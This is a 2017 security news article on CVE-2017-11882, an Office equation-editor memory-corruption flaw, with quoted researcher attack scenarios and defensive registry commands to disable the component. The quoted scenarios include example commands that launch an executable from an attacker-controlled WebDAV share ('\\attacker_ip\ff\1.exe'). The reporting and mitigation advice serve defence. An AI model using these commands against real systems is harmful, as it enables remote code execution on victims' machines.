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  • 2017
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  • 17 Year-Old MS Office Flaw Lets Hackers Install Malware Without User Interaction

17 Year-Old MS Office Flaw Lets Hackers Install Malware Without User Interaction

November 15, 2017 Comments Off on 17 Year-Old MS Office Flaw Lets Hackers Install Malware Without User Interaction
17 year old ms office hack 17 Year-Old MS Office Flaw Lets Hackers Install Malware Without User Interaction 17-Year-Old MS Office flaw CVE-2017-11882 could be exploited to remotely install malware without victim interaction CVE-2017-11882 exploit module how to hack office 365 latest ms office hack office 365 exploit module office 365 rec vulnerability

The vulnerability is a memory-corruption issue that resides in all versions of Microsoft Office released in the past 17 years, including Microsoft Office 365, and works against all versions of Windows operating system, including the latest Microsoft Windows 10 Creators Update.

Discovered by the security researchers at Embedi, the vulnerability leads to remote code execution, allowing an unauthenticated, remote attacker to execute malicious code on a targeted system without requiring user interaction after opening a malicious document.

The vulnerability, identified as CVE-2017-11882, resides in EQNEDT32.EXE, an MS Office component which is responsible for insertion and editing of equations (OLE objects) in documents.

microsoft-office-exploit

However, due to improper memory operations, the component fails to properly handle objects in the memory, corrupting it in such a way that the attacker could execute malicious code in the context of the logged-in user.

Seventeen years ago, EQNEDT32.EXE was introduced in Microsoft Office 2000 and had been kept in all versions released after Microsoft Office 2007 in order to ensure the software remains compatible with documents of older versions.

DEMO: Exploitation Allows Full System Take Over

Exploitation of this vulnerability requires opening a specially crafted malicious file with an affected version of Microsoft Office or Microsoft WordPad software.

This vulnerability could be exploited to take complete control over a system when combined with Windows Kernel privilege escalation exploits (like CVE-2017-11847).

Possible Attack Scenario:

While explaining the scope of the vulnerability, Embedi researchers suggested several attack scenarios listed below:

“By inserting several OLEs that exploited the described vulnerability, it was possible to execute an arbitrary sequence of commands (e.g., to download an arbitrary file from the Internet and execute it).”

“One of the easiest ways to execute arbitrary code is to launch an executable file from the WebDAV server controlled by an attacker.”

“Nonetheless, an attacker can use the described vulnerability to execute the commands like cmd.exe /c start \\attacker_ip\ff. Such a command can be used as a part of an exploit and triggers starting WebClient.”

“After that, an attacker can start an executable file from the WebDAV server by using the \\attacker_ip\ff\1.exe command. The starting mechanism of an executable file is similar to that of the \\live.sysinternals.com\tools service.”

Protection Against Microsoft Office Vulnerability

With this month’s Patch release, Microsoft has addressed this vulnerability by changing how the affected software handles objects in memory.

So, users are strongly recommended to apply November security patches as soon as possible to keep hackers and cybercriminals away from taking control of their computers.

Since this component has a number of security issues which can be easily exploited, disabling it could be the best way to ensure your system security.

Users can run the following command in the command prompt to disable registering of the component in Windows registry:

reg add “HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400

For 32-bit Microsoft Office package in x64 OS, run the following command:

reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400

Besides this, users should also enable Protected View (Microsoft Office sandbox) to prevent active content execution (OLE/ActiveX/Macro).

 

 

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